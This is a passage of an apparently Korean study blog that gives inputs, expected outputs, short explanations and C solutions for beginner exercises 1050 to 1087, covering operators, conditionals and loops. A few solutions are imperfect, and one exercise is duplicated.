    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1050--기초-비교연산-두-정수-입력받아-비교하기2설명">1050 : [기초-비교연산] 두 정수 입력받아 비교하기2(설명)</h2>
<h3 id="입력-47">입력</h3>
<p>0 0</p>
<h3 id="출력-47">출력</h3>
<p>1</p>
<h3 id="풀이-47">풀이</h3>
<p>입력받은 두 정수의 값이 같으면 1을 출력</p>
<blockquote>
</blockquote>
<p>== : 두 수가 같으면 1, 다르면 0</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a == b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1051--기초-비교연산-두-정수-입력받아-비교하기3설명">1051 : [기초-비교연산] 두 정수 입력받아 비교하기3(설명)</h2>
<h3 id="입력-48">입력</h3>
<p>0 -1</p>
<h3 id="출력-48">출력</h3>
<p>0</p>
<h3 id="풀이-48">풀이</h3>
<p>입력받은 두 정수를 대소비교하여 두 번째 입력값이 더 크거나 같은 경우 1을 출력</p>
<blockquote>
</blockquote>
<p>&lt;= : 오른쪽값이 왼쪽값보다 크거나 같으면 1, 아니면 0</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a &lt;= b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1052--기초-비교연산-두-정수-입력받아-비교하기4설명">1052 : [기초-비교연산] 두 정수 입력받아 비교하기4(설명)</h2>
<h3 id="입력-49">입력</h3>
<p>0 1</p>
<h3 id="출력-49">출력</h3>
<p>1</p>
<h3 id="풀이-49">풀이</h3>
<p>입력받은 두 정수가 다른 경우 1을 출력</p>
<blockquote>
</blockquote>
<p>!= : 두 수가 다르면 1, 같으면 0</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a != b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1053--기초-논리연산-참-거짓-바꾸기설명">1053 : [기초-논리연산] 참 거짓 바꾸기(설명)</h2>
<h3 id="입력-50">입력</h3>
<p>1</p>
<h3 id="출력-50">출력</h3>
<p>0</p>
<h3 id="풀이-50">풀이</h3>
<p>! 를 이용하여 정수 하나의 값을 입력받아 반대로 출력</p>
<blockquote>
</blockquote>
<p>! :  참이면 거짓, 거짓이면 참</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d&quot;, !a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1054--기초-논리연산-둘-다-참일-경우만-참-출력하기설명">1054 : [기초-논리연산] 둘 다 참일 경우만 참 출력하기(설명)</h2>
<h3 id="입력-51">입력</h3>
<p>1 1</p>
<h3 id="출력-51">출력</h3>
<p>1</p>
<h3 id="풀이-51">풀이</h3>
<p>&amp;&amp; 를 이용하여 출력 형식에 맞도록 출력</p>
<blockquote>
</blockquote>
<p>&amp;&amp; :  두 수가 참이면 참, 하나라도 거짓이면 거짓</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a &amp;&amp; b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1055--기초-논리연산-하나라도-참이면-참-출력하기설명">1055 : [기초-논리연산] 하나라도 참이면 참 출력하기(설명)</h2>
<h3 id="입력-52">입력</h3>
<p>1 1</p>
<h3 id="출력-52">출력</h3>
<p>1</p>
<h3 id="풀이-52">풀이</h3>
<p>|| 를 이용하여 출력 형식에 맞도록 출력</p>
<blockquote>
</blockquote>
<p>|| :  둘 중 하나라도 참이라면 참, 둘 다 거짓일때만 거짓</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a || b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1056--기초-논리연산-참거짓이-서로-다를-때에만-참-출력하기설명">1056 : [기초-논리연산] 참/거짓이 서로 다를 때에만 참 출력하기(설명)</h2>
<h3 id="입력-53">입력</h3>
<p>1 1</p>
<h3 id="출력-53">출력</h3>
<p>0</p>
<h3 id="풀이-53">풀이</h3>
<p>비교 연산자를 활용하여 출력 형식에 맞도록 출력</p>
<blockquote>
</blockquote>
<p>XOR(베타적 논리합)
(a&amp;&amp;!b) || (!a&amp;&amp;b) : 참 / 거짓이 서로 다를 때에만 1로 계산</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, (a&amp;&amp;!b) || (!a&amp;&amp;b));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1057--기초-논리연산-참거짓이-서로-같을-때에만-참-출력하기">1057 : [기초-논리연산] 참/거짓이 서로 같을 때에만 참 출력하기</h2>
<h3 id="입력-54">입력</h3>
<p>0 0</p>
<h3 id="출력-54">출력</h3>
<p>1</p>
<h3 id="풀이-54">풀이</h3>
<p>양쪽이 둘 다 참 혹은 둘 다 거짓일때만 1 이 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, (a&amp;&amp;b) || (!a&amp;&amp;!b));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1058--기초-논리연산-둘-다-거짓일-경우만-참-출력하기">1058 : [기초-논리연산] 둘 다 거짓일 경우만 참 출력하기</h2>
<h3 id="입력-55">입력</h3>
<p>0 1</p>
<h3 id="출력-55">출력</h3>
<p>0</p>
<h3 id="풀이-55">풀이</h3>
<p>양쪽이 모두 거짓일때만 1 이 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, !(a||b));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1059--기초-비트단위논리연산-비트단위로-not-하여-출력하기설명">1059 : [기초-비트단위논리연산] 비트단위로 NOT 하여 출력하기(설명)</h2>
<h3 id="입력-56">입력</h3>
<p>2</p>
<h3 id="출력-56">출력</h3>
<p>-3</p>
<h3 id="풀이-56">풀이</h3>
<p>양쪽이 모두 거짓일때만 1 이 출력</p>
<blockquote>
</blockquote>
<p>~ : 정수값을 2진수로 변환하여 0인 부분은 1로, 1인 부분은 0으로 바꿈</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d&quot;, ~a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1060--기초-비트단위논리연산-비트단위로-and-하여-출력하기설명">1060 : [기초-비트단위논리연산] 비트단위로 AND 하여 출력하기(설명)</h2>
<h3 id="입력-57">입력</h3>
<p>3 5</p>
<h3 id="출력-57">출력</h3>
<p>1</p>
<h3 id="풀이-57">풀이</h3>
<p>&amp; 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력</p>
<blockquote>
</blockquote>
<p>&amp; : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에 1이 있으면 1
다르거나 둘 다 0이면 0으로 정리하여 계산</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a&amp;b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1061--기초-비트단위논리연산-비트단위로-or-하여-출력하기설명">1061 : [기초-비트단위논리연산] 비트단위로 OR 하여 출력하기(설명)</h2>
<h3 id="입력-58">입력</h3>
<p>3 5</p>
<h3 id="출력-58">출력</h3>
<p>7</p>
<h3 id="풀이-58">풀이</h3>
<p>| 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력</p>
<blockquote>
</blockquote>
<p>| : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에 0이 있으면 0,
둘 중 하나가 1 이거나 둘 다 1인 경우 1로 계산</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a | b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1062--기초-비트단위논리연산-비트단위로-xor-하여-출력하기설명">1062 : [기초-비트단위논리연산] 비트단위로 XOR 하여 출력하기(설명)</h2>
<h3 id="입력-59">입력</h3>
<p>3 5</p>
<h3 id="출력-59">출력</h3>
<p>6</p>
<h3 id="풀이-59">풀이</h3>
<p>^ 를 사용하여 두 수의 2진수값을 비교하여 출력 형식에 맞게 출력</p>
<blockquote>
</blockquote>
<p>^ : 두 개의 정수값을 2진수로 변환하고 비교하여 같은 자릿값에
서로 다른 수가 있으면 1, 같은 수가 있으면 0으로 계산</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a^b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1063--기초-삼항연산-두-정수-입력받아-큰-수-출력하기설명">1063 : [기초-삼항연산] 두 정수 입력받아 큰 수 출력하기(설명)</h2>
<h3 id="입력-60">입력</h3>
<p>123 456</p>
<h3 id="출력-60">출력</h3>
<p>456</p>
<h3 id="풀이-60">풀이</h3>
<p>두 수를 입력받아 더 큰 수를 출력하도록 삼항연산을 통해 출력</p>
<blockquote>
</blockquote>
<p>(조건식) ? 실행1 : 실행2
조건식이 참이면 실행1 을 거짓이면 실행2 를 실행 </p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    (a &gt; b) ? printf(&quot;%d&quot;, a) : printf(&quot;%d&quot;, b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1064--기초-삼항연산-정수-3개-입력받아-가장-작은-수-출력하기설명">1064 : [기초-삼항연산] 정수 3개 입력받아 가장 작은 수 출력하기(설명)</h2>
<h3 id="입력-61">입력</h3>
<p>3 -1 5</p>
<h3 id="출력-61">출력</h3>
<p>-1</p>
<h3 id="풀이-61">풀이</h3>
<p>삼항연산을 중첩시켜 3개의 수를 비교한 후, 가장 작은 값을 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n1, n2, n3;
    scanf(&quot;%d %d %d&quot;, &amp;n1, &amp;n2, &amp;n3);

    (n1 &gt; n2) ? (n3 &gt; n2) ? printf(&quot;%d&quot;, n2) : printf(&quot;%d&quot;, n3) : (n1 &gt; n3) ? printf(&quot;%d&quot;, n3) : printf(&quot;%d&quot;, n1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1065--기초-조건선택실행구조-정수-3개-입력받아-짝수만-출력하기설명">1065 : [기초-조건/선택실행구조] 정수 3개 입력받아 짝수만 출력하기(설명)</h2>
<h3 id="입력-62">입력</h3>
<p>1 2 4</p>
<h3 id="출력-62">출력</h3>
<p>2
4</p>
<h3 id="풀이-62">풀이</h3>
<p>조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들만 검사하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int arr[3];

    for (int i = 0; i &lt; 3; i++) {
        scanf(&quot;%d&quot;, &amp;arr[i]);
    }

    for (int i = 0; i &lt; 3; i++) {
        if (arr[i] % 2 == 0)
            printf(&quot;%d &quot;, arr[i]);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1066--기초-조건선택실행구조-정수-3개-입력받아-짝홀-출력하기설명">1066 : [기초-조건/선택실행구조] 정수 3개 입력받아 짝/홀 출력하기(설명)</h2>
<h3 id="입력-63">입력</h3>
<p>1 2 8</p>
<h3 id="출력-63">출력</h3>
<p>odd
even
even</p>
<h3 id="풀이-63">풀이</h3>
<p>조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들 even 아니면 odd로 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int arr[3];

    for (int i = 0; i &lt; 3; i++) {
        scanf(&quot;%d&quot;, &amp;arr[i]);
    }

    for (int i = 0; i &lt; 3; i++) {
        if (arr[i] % 2 == 0)
            printf(&quot;even\n&quot;);
        else
            printf(&quot;odd\n&quot;);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1067--기초-조건선택실행구조-정수-1개-입력받아-분석하기설명">1067 : [기초-조건/선택실행구조] 정수 1개 입력받아 분석하기(설명)</h2>
<h3 id="입력-64">입력</h3>
<p>-2147483648</p>
<h3 id="출력-64">출력</h3>
<p>minus
even</p>
<h3 id="풀이-64">풀이</h3>
<p>0보다 크면 plus, 작으면 minus를 출력
조건문을 이용해 2 로 나누었을때, 나머지가 0인 수들 even 아니면 odd로 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num;
    scanf(&quot;%d&quot;, &amp;num);

    if (num &gt; 0)
    {
        if (num % 2 == 0)
        {
            printf(&quot;plus\neven&quot;);
        }else
        {
            printf(&quot;plus\nodd&quot;);
        }
    }else
    {
        if (num % 2 == 0)
        {
            printf(&quot;minus\neven&quot;);
        }else
        {
            printf(&quot;minus\nodd&quot;);
        }
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1068--기초-조건선택실행구조-정수-1개-입력받아-평가-출력하기설명">1068 : [기초-조건/선택실행구조] 정수 1개 입력받아 평가 출력하기(설명)</h2>
<h3 id="입력-65">입력</h3>
<p>73</p>
<h3 id="출력-65">출력</h3>
<p>B</p>
<h3 id="풀이-65">풀이</h3>
<p>점수를 입력받고, 조건물을 통해 판단하여 등급 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int score;
    scanf(&quot;%d&quot;, &amp;score);

    if (score &gt;= 90) {
        printf(&quot;A&quot;);
    }else if (score &gt;= 70) {
        printf(&quot;B&quot;);
    }else if (score &gt;= 40) {
        printf(&quot;C&quot;);
    }else {
        printf(&quot;D&quot;);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1069--기초-조건선택실행구조-평가-입력받아-다르게-출력하기설명">1069 : [기초-조건/선택실행구조] 평가 입력받아 다르게 출력하기(설명)</h2>
<h3 id="입력-66">입력</h3>
<p>A</p>
<h3 id="출력-66">출력</h3>
<p>best!!!</p>
<h3 id="풀이-66">풀이</h3>
<p>switch ~ case 을 이용하여 입력받은 문자를 판단하여 올바른 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char c;
    c = getchar();

    switch(c) {
        case &#39;A&#39; : printf(&quot;best!!!&quot;); break;
        case &#39;B&#39; : printf(&quot;good!!&quot;); break;
        case &#39;C&#39; : printf(&quot;run!&quot;); break;
        case &#39;D&#39; : printf(&quot;slowly~&quot;); break;
        default : printf(&quot;what?&quot;); break;
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1070--기초-조건선택실행구조-월-입력받아-계절-출력하기설명">1070 : [기초-조건/선택실행구조] 월 입력받아 계절 출력하기(설명)</h2>
<h3 id="입력-67">입력</h3>
<p>12</p>
<h3 id="출력-67">출력</h3>
<p>winter</p>
<h3 id="풀이-67">풀이</h3>
<p>break를 사용하지 않으면 밑에 케이스까지 출력되는 것을 이용하여,
지정된 형식에 맞게 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num;
    scanf(&quot;%d&quot;, &amp;num);

    switch (num) {
        case 12 :
        case 1 :
        case 2 : printf(&quot;winter&quot;); break;
        case 3 :
        case 4 :
        case 5 : printf(&quot;spring&quot;); break;
        case 6 :
        case 7 :
        case 8 : printf(&quot;summer&quot;); break;
        case 9 :
        case 10 :
        case 11 : printf(&quot;fall&quot;); break;
    }
}</code></pre><blockquote>
</blockquote>
<h2 id="1070--기초-조건선택실행구조-월-입력받아-계절-출력하기설명-1">1070 : [기초-조건/선택실행구조] 월 입력받아 계절 출력하기(설명)</h2>
<h3 id="입력-68">입력</h3>
<p>12</p>
<h3 id="출력-68">출력</h3>
<p>winter</p>
<h3 id="풀이-68">풀이</h3>
<p>break를 사용하지 않으면 밑에 케이스까지 출력되는 것을 이용하여,
지정된 형식에 맞게 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num;
    scanf(&quot;%d&quot;, &amp;num);

    switch (num) {
        case 12 :
        case 1 :
        case 2 : printf(&quot;winter&quot;); break;
        case 3 :
        case 4 :
        case 5 : printf(&quot;spring&quot;); break;
        case 6 :
        case 7 :
        case 8 : printf(&quot;summer&quot;); break;
        case 9 :
        case 10 :
        case 11 : printf(&quot;fall&quot;); break;
    }
}</code></pre><blockquote>
</blockquote>
<h2 id="1071--기초-반복실행구조-0-입력될-때까지-무한-출력하기1설명">1071 : [기초-반복실행구조] 0 입력될 때까지 무한 출력하기1(설명)</h2>
<h3 id="입력-69">입력</h3>
<p>7 4 2 3 0 1 5 6 9 10 8</p>
<h3 id="출력-69">출력</h3>
<p>7
4
2
3</p>
<h3 id="풀이-69">풀이</h3>
<p>goto 레이블을 이용하여 입력받은 수를 출력, 0이 입력되면 정지</p>
<blockquote>
</blockquote>
<p>(이름): : 시작 위치 지정 
goto (이름); : 지정된 위치로 이동하여 재실행</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n;

    P:

    scanf(&quot;%d&quot;, &amp;n);
    if (n != 0)
    {
        printf(&quot;%d\n&quot;, n);
        goto P;
    }   

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1072--기초-반복실행구조-정수-입력받아-계속-출력하기설명">1072 : [기초-반복실행구조] 정수 입력받아 계속 출력하기(설명)</h2>
<h3 id="입력-70">입력</h3>
<p>5
1 2 3 4 5</p>
<h3 id="출력-70">출력</h3>
<p>1
2
3
4
5</p>
<h3 id="풀이-70">풀이</h3>
<p>입력받은 수를 goto가 실행될 때마다 1씩 감소, 0이 되면 종료시킴으로서
지정된 회수만큼 반복
입력된 수를 하나씩 출력</p>
<blockquote>
</blockquote>
<p>(이름): : 시작 위치 지정 
goto (이름); : 지정된 위치로 이동하여 재실행</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num1, num2; 
    scanf(&quot;%d&quot;, &amp;num1);

    print_num:

    scanf(&quot;%d&quot;, &amp;num2);
    printf(&quot;%d\n&quot;, num2);
    num1 -= 1;

    if(num1 &gt; 0)
    {
        goto print_num;
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1073--기초-반복실행구조-0-입력될-때까지-무한-출력하기2설명">1073 : [기초-반복실행구조] 0 입력될 때까지 무한 출력하기2(설명)</h2>
<h3 id="입력-71">입력</h3>
<p>7 4 2 3 0 1 5 6 9 10 8</p>
<h3 id="출력-71">출력</h3>
<p>7
4
2
3</p>
<h3 id="풀이-71">풀이</h3>
<p>while 반복문을 이용하여 입력받은 값을 출력
if 조건문을 통해 0이 입력되면 종료</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int num;

    while(true)
    {
        scanf(&quot;%d&quot;, &amp;num);

        if (num == 0)
            break;

        printf(&quot;%d\n&quot;, num);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1074--기초-반복실행구조-정수-1개-입력받아-카운트다운-출력하기1설명">1074 : [기초-반복실행구조] 정수 1개 입력받아 카운트다운 출력하기1(설명)</h2>
<h3 id="입력-72">입력</h3>
<p>5</p>
<h3 id="출력-72">출력</h3>
<p>5
4
3
2
1</p>
<h3 id="풀이-72">풀이</h3>
<p>whlie 반복문을 활용하여 n을 입력받은 후 1씩 감소시켜 n값이 0이 되기 전까지 반복</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n;
    scanf(&quot;%d&quot;, &amp;n);
    while(n != 0)
    {
        printf(&quot;%d\n&quot;, n);
        --n;
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1075--기초-반복실행구조-정수-1개-입력받아-카운트다운-출력하기2설명">1075 : [기초-반복실행구조] 정수 1개 입력받아 카운트다운 출력하기2(설명)</h2>
<h3 id="입력-73">입력</h3>
<p>5</p>
<h3 id="출력-73">출력</h3>
<p>5
4
3
2
1</p>
<h3 id="풀이-73">풀이</h3>
<p>whlie 반복문을 활용하여 n을 입력받은 후 1씩 감소시켜 n값이 0보다 작아지기 전까지 반복</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int n;
    scanf(&quot;%d&quot;, &amp;n);
    while(n &gt; 0)
    {
        n = n - 1;
        printf(&quot;%d\n&quot;, n);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1076--기초-반복실행구조-문자-1개-입력받아-알파벳-출력하기설명">1076 : [기초-반복실행구조] 문자 1개 입력받아 알파벳 출력하기(설명)</h2>
<h3 id="입력-74">입력</h3>
<p>f</p>
<h3 id="출력-74">출력</h3>
<p>a b c d e f</p>
<h3 id="풀이-74">풀이</h3>
<p>&#39;a&#39;의 아스키코드 값인 97을 이용하여 입력된 문자의 아스키코드 값이 될 때까지 반복 출력 </p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char c;
    c = getchar();

    for (int i = 97; i &lt;= c; i++) {
        printf(&quot;%c &quot;, i);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1077--기초-반복실행구조-정수-1개-입력받아-그-수까지-출력하기설명">1077 : [기초-반복실행구조] 정수 1개 입력받아 그 수까지 출력하기(설명)</h2>
<h3 id="입력-75">입력</h3>
<p>4</p>
<h3 id="출력-75">출력</h3>
<p>0
1
2
3
4</p>
<h3 id="풀이-75">풀이</h3>
<p>i값을 0부터 시작하여 입력값이랑 같아질때까지 증가시키며 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    for (int i = 0; i &lt;= a; i++) {
        printf(&quot;%d\n&quot;, i);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1078--기초-종합-짝수-합-구하기설명">1078 : [기초-종합] 짝수 합 구하기(설명)</h2>
<h3 id="입력-76">입력</h3>
<p>5</p>
<h3 id="출력-76">출력</h3>
<p>6</p>
<h3 id="풀이-76">풀이</h3>
<p>입력받은 수까지 i 값을 반복적으로 증가시키며 if 조건문에서 2로 나누었을때 나머지가 0이 되는 값들을 모두 더하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int sum=0;
    int n;
    scanf(&quot;%d&quot;, &amp;n);

    for(int i = 1; i &lt;= n; i++)
    {
        if (i % 2 == 0)
            sum = sum + i;
    }

    printf(&quot;%d&quot;, sum);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1079--기초-종합-원하는-문자가-입력될-때까지-반복-출력하기">1079 : [기초-종합] 원하는 문자가 입력될 때까지 반복 출력하기</h2>
<h3 id="입력-77">입력</h3>
<p>x b k d l q g a c</p>
<h3 id="출력-77">출력</h3>
<p>x
b
k
d
l
q</p>
<h3 id="풀이-77">풀이</h3>
<p>문자들은 입력받고, 입력받은 문자를 출력
if 조건문을 통해 q가 입력되었을 경우 q를 출력하고 프로그램 종료</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    char c;

    while (true)
    {
        scanf(&quot;%c&quot;, &amp;c);

        printf(&quot;%c&quot;, c);

        if (c == &#39;q&#39;)
        {
            return 0;
        }

    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1080--기초-종합-언제까지-더해야-할까">1080 : [기초-종합] 언제까지 더해야 할까?</h2>
<h3 id="입력-78">입력</h3>
<p>55</p>
<h3 id="출력-78">출력</h3>
<p>10</p>
<h3 id="풀이-78">풀이</h3>
<p>반복문을 통해 1부터 숫자를 더하여 조건문을 통해 입력한 숫자보다 같거나 커질때를
판단하고, 마지막으로 더한 수를 출력</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int num, sum = 0;
    scanf(&quot;%d&quot;, &amp;num);

    for (int i = 1; i &lt; num; i++)
    {
        sum += i;
        if (sum &gt;= num)
        {
            printf(&quot;%d&quot;, i);

            break;
        }
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1081--기초-종합-주사위를-2개-던지면설명">1081 : [기초-종합] 주사위를 2개 던지면?(설명)</h2>
<h3 id="입력-79">입력</h3>
<p>2 3</p>
<h3 id="출력-79">출력</h3>
<p>1 1
1 2
1 3
2 1
2 2
2 3</p>
<h3 id="풀이-79">풀이</h3>
<p>중첩 반복문을 통해 각각 i는 첫번째 입력값, j는 두번째 입력값과 같아질 때까지
더하며 반복 출력</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int num1, num2;
    scanf(&quot;%d %d&quot;, &amp;num1, &amp;num2);

    for (int i = 1; i &lt;= num1; i++)
    {
        for (int j = 1; j &lt;= num2; j++)
        {
            printf(&quot;%d %d\n&quot;, i, j);
        }
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1082--기초-종합-16진수-구구단">1082 : [기초-종합] 16진수 구구단?</h2>
<h3 id="입력-80">입력</h3>
<p>B</p>
<h3 id="출력-80">출력</h3>
<p>B<em>1=B
B</em>2=16
B<em>3=21
B</em>4=2C
B<em>5=37
B</em>6=42
B<em>7=4D
B</em>8=58
B<em>9=63
B</em>A=6E
B<em>B=79
B</em>C=84
B<em>D=8F
B</em>E=9A
B*F=A5</p>
<h3 id="풀이-80">풀이</h3>
<p>중첩 반복문을 통해 각각 입력받은 정수의 단을 출력하는 프로그램을 작성한 후,
16진수를 출력하고 받도록 %x를 이용</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int num;
    scanf(&quot;%X&quot;, &amp;num);

    for (int i = 1; i &lt;= 15; i++)
    {
        printf(&quot;%X*%X=%X\n&quot;, num, i, num*i);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1083--기초-종합-3-6-9-게임의-왕이-되자설명">1083 : [기초-종합] 3 6 9 게임의 왕이 되자!(설명)</h2>
<h3 id="입력-81">입력</h3>
<p>9</p>
<h3 id="출력-81">출력</h3>
<p>1 2 X 4 5 X 7 8 X</p>
<h3 id="풀이-81">풀이</h3>
<p>for 반복문을 통해 1부터 입력받은 수까지 반복 출력
if 조건문을 통해 3으로 나누어떨어지는 값은 X로 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int i, num;
    scanf(&quot;%d&quot;, &amp;num);

    for (i = 1; i &lt;= num; i++)
    {
        if (i % 3 == 0)
            printf(&quot;X &quot;);
        else
            printf(&quot;%d &quot;, i);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1084--기초-종합-빛-섞어-색-만들기설명">1084 : [기초-종합] 빛 섞어 색 만들기(설명)</h2>
<h3 id="입력-82">입력</h3>
<p>2 2 2</p>
<h3 id="출력-82">출력</h3>
<p>0 0 0
0 0 1
0 1 0
0 1 1
1 0 0
1 0 1
1 1 0
1 1 1
8</p>
<h3 id="풀이-82">풀이</h3>
<p>삼중첩 반복문을 이용하여 주사위 경우의 수와 같은 방식으로 출력
sum의 값이 한 번 더 더해짐으로 마지막에 sum값에서 1을 빼준 후 개수 출력</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdbool.h&gt;

int main() {
    int num1, num2, num3; 
    int sum = 1;
    scanf(&quot;%d %d %d&quot;, &amp;num1, &amp;num2, &amp;num3);

    for (int x = 0; x &lt; num1; x++)
    {
        for (int y = 0; y &lt; num2; y++)
        {
            for (int z = 0; z &lt; num3; z++)
            {
                sum++;
                printf(&quot;%d %d %d\n&quot;, x, y, z);
            }
        }
    }

    printf(&quot;%d&quot;, sum-1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1085--기초-종합-소리-파일-저장용량-계산하기설명">1085 : [기초-종합] 소리 파일 저장용량 계산하기(설명)</h2>
<h3 id="입력-83">입력</h3>
<p>44100 16 2 10</p>
<h3 id="출력-83">출력</h3>
<p>1.7 MB</p>
<h3 id="풀이-83">풀이</h3>
<p>모든 값을 입력받은 후 곱하여 result값을 구한 후, MB단위를 뽑아야하므로 1024<em>1024</em>8으로 단위를 맞추어 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main(){
    long long int h, b, c, s;
    double result;
    scanf(&quot;%lld %lld %lld %lld&quot;, &amp;h, &amp;b, &amp;s, &amp;c);

    result = h * b * s * c;

    printf(&quot;%.1lf MB&quot;, result/(8*1024*1024));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1086--기초-종합-그림-파일-저장용량-계산하기설명">1086 : [기초-종합] 그림 파일 저장용량 계산하기(설명)</h2>
<h3 id="입력-84">입력</h3>
<p>1024 768 24</p>
<h3 id="출력-84">출력</h3>
<p>2.25 MB</p>
<h3 id="풀이-84">풀이</h3>
<p>모든 값을 입력받은 후 곱하여 result값을 구한 후, MB단위를 뽑아야하므로 1024<em>1024</em>8으로 단위를 맞추어 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main () {
    long long int w,h,b;
    double MB;


    scanf(&quot;%lld %lld %lld&quot;, &amp;w, &amp;h, &amp;b );
    MB = (w*h*b);


    printf(&quot;%.02lf MB&quot;,MB/(8*1024*1024));

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1087--기초-종합-여기까지-이제-그만설명">1087 : [기초-종합] 여기까지! 이제 그만~(설명)</h2>
<h3 id="입력-85">입력</h3>
<p>57</p>
<h3 id="출력-85">출력</h3>
<p>66</p>
